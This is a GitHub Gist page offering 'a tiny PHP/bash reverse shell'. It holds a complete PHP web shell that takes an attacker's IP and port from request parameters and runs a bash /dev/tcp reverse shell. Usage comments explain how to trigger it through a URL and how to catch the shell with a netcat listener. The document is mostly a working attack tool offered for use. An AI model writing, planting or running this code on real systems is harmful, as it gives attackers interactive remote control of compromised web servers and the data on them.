Skip to content

Instantly share code, notes, and snippets.

@Spotlightsrule
Forked from rshipp/shell.php
Last active March 29, 2018 19:46
Show Gist options
  • Save Spotlightsrule/f33bf324b3d34287676d7d1b87bf169d to your computer and use it in GitHub Desktop.
Save Spotlightsrule/f33bf324b3d34287676d7d1b87bf169d to your computer and use it in GitHub Desktop.
A tiny PHP/bash reverse shell.
<?php
if (isset ($_REQUEST["shell"])){$ip = $_REQUEST["ip"];$port = $_REQUEST["port"];exec("/bin/bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");}
?>
<!--
USAGE (reverse shell/server): url-to-file.php?shell&ip=<attacker ip>&port=<attacker port>
USAGE (reverse shell/client): (in netcat) nc -v -l -p <attacker port>
NOTE (reverse shell): The ip (lan if on the same network, wan if it's a remote server) and port of the attacker and target must be the same or else no connection will be established.
-->
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment